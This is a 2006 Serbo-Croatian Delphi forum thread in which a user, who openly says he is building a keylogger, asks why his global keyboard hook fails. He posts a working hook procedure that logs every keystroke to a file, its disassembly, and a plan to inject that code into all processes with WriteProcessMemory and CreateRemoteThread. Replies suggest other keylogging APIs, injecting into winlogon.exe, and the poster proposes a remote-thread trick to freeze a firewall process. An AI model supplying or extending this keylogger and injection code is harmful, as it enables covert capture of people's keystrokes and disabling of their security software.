Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Zasto ovaj jednostavni keyboard hook ne radi?

[es] :: Pascal / Delphi / Kylix :: Zasto ovaj jednostavni keyboard hook ne radi?

[ Pregleda: 1801 | Odgovora: 14 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Zasto ovaj jednostavni keyboard hook ne radi?17.08.2006. u 18:29 - pre 215 meseci
Code:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormDestroy(Sender: TObject);
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

type HOOK_THREAD=class(TThread)
   procedure Execute;   override;
 end;
var
  Form1: TForm1;
  _hook:HHOOK;
  HT:HOOK_THREAD;

implementation

{$R *.dfm}



function KeyboardProc(code:integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;
begin
Form1.Memo1.Lines.Add(IntToStr(wParam));
 CallNextHookEx(0,code,wParam,lParam);
end;

procedure HOOK_THREAD.Execute;
begin
Form1.Memo1.Clear;
_hook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,0,0);
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
HT:=HOOK_THREAD.Create(false);
HT.Execute;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 if HT.Terminated=false then begin
                             UnhookWindowsHookEx(_hook);
                             HT.FreeOnTerminate:=TRUE;
                             HT.Terminate;
                             end;
end;

end.
 
Odgovor na temu

Srki_82
Srdjan Tot
Me @ My Home
Ljubljana

Član broj: 28226
Poruke: 1403
82.208.201.*

ICQ: 246436949


+10 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?17.08.2006. u 19:58 - pre 215 meseci
Ako procitas help za SetWindowsHookEx funkciju, bice ti jasno zasto se nista ne desava...

Deo iz helpa:
Citat:
An error may occur if the hMod parameter is NULL and the dwThreadId parameter is zero or specifies the identifier of a thread created by another process.


Koliko vidim tebi su i hMod i dwThreadId postavljeni na nula... bas ono sto pise da ne radi :)
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?17.08.2006. u 20:44 - pre 215 meseci
Ma skontao sam bio zasto ne radi.. vec sad sam skuzio da nije moguce postavit hook na sve thredove u sistemu koji se izvode a da keyboard proc nije u DLL fajlu.. to me zivcira.

_hook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,0,0);

3. parametar je mjesto gdje se nalazi KeyboarProc.. ako je 0 onda je to current process, a ako je hModule od nekog DLL-a onda se nalazi u DLL-u, a 4. parametar ako je 0 onda se hookuju svi threadovi u sistemu, a u mom slucaju je nula stoga se keyboardproc MORA nalazit u DLL fajlu.. ne znam zasto M$ nije dopustio da moze bit u samom procesu!
 
Odgovor na temu

Srki_82
Srdjan Tot
Me @ My Home
Ljubljana

Član broj: 28226
Poruke: 1403
82.208.201.*

ICQ: 246436949


+10 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?17.08.2006. u 21:00 - pre 215 meseci
Zato sto onda hook mora da se ucita u adresni prostor svakog procesa, a to moze samo dll.
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?17.08.2006. u 21:34 - pre 215 meseci
Hehe, sad i to kontam.. ;)

Al glupo mi je imat i dll uz .exe, znaci jedini nacin je EnumProcess pa CreateRemoteThread u svakom sa SetWindowsHookEx.. al ne znam na koji nacin da smjestim KeyboardProc.. hmmm, izgleda mi zeznuto?
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 00:18 - pre 215 meseci
Sta u stvari pokusavas da napravis.. ?
Ako pises keylogger najbezbolnije ti je bez injectovanja DLL u silne procese nego da hvatas tastere preko GetAsyncKeyState (mislim da tako bese naziv API-ja).
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 09:19 - pre 215 meseci
Danas cu da naparavim pa cu tu pasteat kod.. pokusavam napravit keylogger za sve thredove koji rade u sistemu, a da taj keylogger ima samo jedan .exe, znaci ne i dll.. zato moram strpat u svaki proces KeyboardProc i onda za za svaki proces pozvat SetWindowHookEx.. mada cuo sam da on dosta trosi performanse sistema, uglavnom ovo je plan, KeyboardProc izgleda ovako:


Code:

Procedure _KeyboardProc(nCode: Integer; wParam: WPARAM;
                        lParam: LPARAM); stdcall;
var 
   LogFile : THandle;
   BytesWritten : DWORD;
   Ch : Byte;
begin
   if ((HiWord(lParam) and KF_UP) <> 0) and 
       (nCode = HC_ACTION) then
   begin
      LogFile := CreateFile('c:\text.txt', GENERIC_WRITE,
                                      FILE_SHARE_READ, Nil,
                                      OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
      if Lo(wParam) = 13 then
      begin
         Ch := 10;
         WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;
      CloseHandle(LogFile);
   end;
   CallNextHookEx(0, nCode, wParam, lParam);
end;


Disamblovana procedura izgleda ovako:
Code:

00451FDC  /$ 55             PUSH EBP
00451FDD  |. 8BEC           MOV EBP,ESP
00451FDF  |. 83C4 F8        ADD ESP,-8
00451FE2  |. 53             PUSH EBX
00451FE3  |. 56             PUSH ESI
00451FE4  |. 57             PUSH EDI
00451FE5  |. 8B5D 10        MOV EBX,DWORD PTR SS:[EBP+10]
00451FE8  |. 8B75 08        MOV ESI,DWORD PTR SS:[EBP+8]
00451FEB  |. 8BC3           MOV EAX,EBX
00451FED  |. C1E8 10        SHR EAX,10
00451FF0  |. F6C4 80        TEST AH,80
00451FF3  |. 74 67          JE SHORT Project1.0045205C
00451FF5  |. 85F6           TEST ESI,ESI
00451FF7  |. 75 63          JNZ SHORT Project1.0045205C
00451FF9  |. 6A 00          PUSH 0                                   ; /hTemplateFile = NULL
00451FFB  |. 6A 00          PUSH 0                                   ; |Attributes = 0
00451FFD  |. 6A 04          PUSH 4                                   ; |Mode = OPEN_ALWAYS
00451FFF  |. 6A 00          PUSH 0                                   ; |pSecurity = NULL
00452001  |. 6A 01          PUSH 1                                   ; |ShareMode = FILE_SHARE_READ
00452003  |. 68 00000040    PUSH 40000000                            ; |Access = GENERIC_WRITE
00452008  |. 68 74204500    PUSH Project1.00452074                   ; |FileName = "c:\text.txt"
0045200D  |. E8 963EFBFF    CALL <JMP.&kernel32.CreateFileA>         ; \CreateFileA
00452012  |. 8BF8           MOV EDI,EAX
00452014  |. 6A 02          PUSH 2                                   ; /Origin = FILE_END
00452016  |. 6A 00          PUSH 0                                   ; |pOffsetHi = NULL
00452018  |. 6A 00          PUSH 0                                   ; |OffsetLo = 0
0045201A  |. 57             PUSH EDI                                 ; |hFile
0045201B  |. E8 0040FBFF    CALL <JMP.&kernel32.SetFilePointer>      ; \SetFilePointer
00452020  |. 6A 00          PUSH 0                                   ; /pOverlapped = NULL
00452022  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]             ; |
00452025  |. 50             PUSH EAX                                 ; |pBytesWritten
00452026  |. 6A 01          PUSH 1                                   ; |nBytesToWrite = 1
00452028  |. 8D45 0C        LEA EAX,DWORD PTR SS:[EBP+C]             ; |
0045202B  |. 50             PUSH EAX                                 ; |Buffer
0045202C  |. 57             PUSH EDI                                 ; |hFile
0045202D  |. E8 1E40FBFF    CALL <JMP.&kernel32.WriteFile>           ; \WriteFile
00452032  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
00452035  |. 25 FF000000    AND EAX,0FF
0045203A  |. 66:83F8 0D     CMP AX,0D
0045203E  |. 75 16          JNZ SHORT Project1.00452056
00452040  |. C645 FB 0A     MOV BYTE PTR SS:[EBP-5],0A
00452044  |. 6A 00          PUSH 0                                   ; /pOverlapped = NULL
00452046  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]             ; |
00452049  |. 50             PUSH EAX                                 ; |pBytesWritten
0045204A  |. 6A 01          PUSH 1                                   ; |nBytesToWrite = 1
0045204C  |. 8D45 FB        LEA EAX,DWORD PTR SS:[EBP-5]             ; |
0045204F  |. 50             PUSH EAX                                 ; |Buffer
00452050  |. 57             PUSH EDI                                 ; |hFile
00452051  |. E8 FA3FFBFF    CALL <JMP.&kernel32.WriteFile>           ; \WriteFile
00452056  |> 57             PUSH EDI                                 ; /hObject
00452057  |. E8 343EFBFF    CALL <JMP.&kernel32.CloseHandle>         ; \CloseHandle
0045205C  |> 53             PUSH EBX                                 ; /lParam
0045205D  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; |
00452060  |. 50             PUSH EAX                                 ; |wParam
00452061  |. 56             PUSH ESI                                 ; |HookCode
00452062  |. 6A 00          PUSH 0                                   ; |hHook = NULL
00452064  |. E8 DF41FBFF    CALL <JMP.&user32.CallNextHookEx>        ; \CallNextHookEx
00452069  |. 5F             POP EDI
0045206A  |. 5E             POP ESI
0045206B  |. 5B             POP EBX
0045206C  |. 59             POP ECX
0045206D  |. 59             POP ECX
0045206E  |. 5D             POP EBP
0045206F  \. C2 0C00        RETN 0C


Sad moram da povadim masinski kod te procedure (to su oni bajtovi $55, $8B, $EC...) te onda u svaki proces da nadjem slobodno mjesto u memoriji i da onda sav taj masinski kod upisem u taj proces sa WriteProcessMemory!! To je lako samo je problem sto svakom procesu stack izgleda drukcije, tako da cu prvo morat stack da izmjenim!!
To ce rezultirat da svaki thread koji radi ima u sebi ugradjen _KeyboardProc i onda samo ostaje za svaki proces pozvat SetWindowsHookEx(WH_KEYBOARD,@adresa_keyboard_proca,0,pi.dwThreadId);

I to je to.. prvo moram da stack sredim da bude "isti" kod svih, tj. da prije poziva ovakvih komandi:
MOV EBX,DWORD PTR SS:[EBP+10], postavim na EBP+10 ono sto treba da bude..


poz



ps:
sa GetAsyncKeyState mogu da hvatam samo tastere, sa SetWindowHook mogu i tastere i misa i 1000 drugih stvari :)
Nece to bit keylogger vec me to neki dan s cimalo pa me sad zanima dal cu uspjet to da uradim (iz jednog .exe-a)
 
Odgovor na temu

obucina

Član broj: 38191
Poruke: 723

Jabber: obucina


+7 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 09:46 - pre 215 meseci
Postoje programi za zastitu koji love postavljanje hook-ova i upisivanje
u memoriju drugih procesa i pitaju korisnika da li to dozvoljava.
Keyloger ce ti pasti u roku odmah.
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 09:55 - pre 215 meseci
Neces verovati koliko ljudi nema firewall :)
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 10:11 - pre 215 meseci
Vidjet cu sta bi bilo kad bi u fw/process guard ugurao ovo:
Code:

CreateRemoteThread(_handle_procesa_firewalla, nil, 0, GetProcAddress(GetModuleHandle(kernel32), 'Sleep'), 1000000000000000000000000000000000000000000000000, 0,
RemoteTID);


Lol
 
Odgovor na temu

savkic
Igor Savkić

Moderator
Član broj: 92186
Poruke: 2739



+92 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 13:56 - pre 215 meseci
> Sad moram da povadim masinski kod te procedure (to su oni bajtovi $55, $8B, $EC...) te onda u svaki proces da nadjem slobodno mjesto u memoriji
> i da onda sav taj masinski kod upisem u taj proces sa WriteProcessMemory!! To je lako samo je problem sto svakom procesu stack
> izgleda drukcije, tako da cu prvo morat stack da izmjenim!!

Mislim da nepotrebno komplikuješ, za to što hoćeš program mora imati specijalne privilegije, moraš pratiti kreiranje novih procesa da ne spominjem potencijalno probleme sa antivirus programima. Ako je bitno da distribuiraš samo exe, možeš dll ubaciti u njega kao resource, izvaditi ga, uraditi šta treba i posle ga obrisati. Možeš probati i sa JOURNAL hookom koji ne zahteva dll. Ako hoćeš posebno svaki proces da hookuješ, probaj s AttachThreadInput da se "približiš", uz napomenu da verovatno neće uspeti.
 
Odgovor na temu

obucina

Član broj: 38191
Poruke: 723

Jabber: obucina


+7 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 14:52 - pre 215 meseci
Sta mislis da bi se dogodilo? Citaj MSDN...
 
Odgovor na temu

reiser

Član broj: 7895
Poruke: 2314



+102 Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 16:22 - pre 215 meseci
Prvo, vecina dobrih firewallova ima pristup ring 0, samim tim ne mozes da injectujes tako lako bilo sta u njihov proces. Ja bih celu tu ideju oko injectovanja zaobisao jer:
1. Da bi setovao SeDebugPrivilege za tvoj proces trebaju ti administratorska prava (nisam siguran, ali mislim da je tako)
2. To injectovanje nije lako kako se na prvi pogled cini, recimo da bi nesto injectovao u winlogon.exe tvoj proces mora imati imagebase $40000000 umesto $00400000 kako ide po defaultu. Bar sam tako ja to zaobilazio, mada sigurno postoji neko lakse resenje. Da ne pricam sto ces srusiti/zalediti polovinu procesa :)
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 17:52 - pre 215 meseci
[
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Zasto ovaj jednostavni keyboard hook ne radi?18.08.2006. u 17:53 - pre 215 meseci
Citat:

2. To injectovanje nije lako kako se na prvi pogled cini, recimo da bi nesto injectovao u winlogon.exe tvoj proces mora imati imagebase $40000000 umesto $00400000 kako ide po defaultu. Bar sam tako ja to zaobilazio, mada sigurno postoji neko lakse resenje. Da ne pricam sto ces srusiti/zalediti polovinu procesa :)


Mislim da nebi trebalo bit problem promijenit ImageBase.. kolko se sjecam, to mozes i preko obicnog LordPE-a..
 
Odgovor na temu

[es] :: Pascal / Delphi / Kylix :: Zasto ovaj jednostavni keyboard hook ne radi?

[ Pregleda: 1801 | Odgovora: 14 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.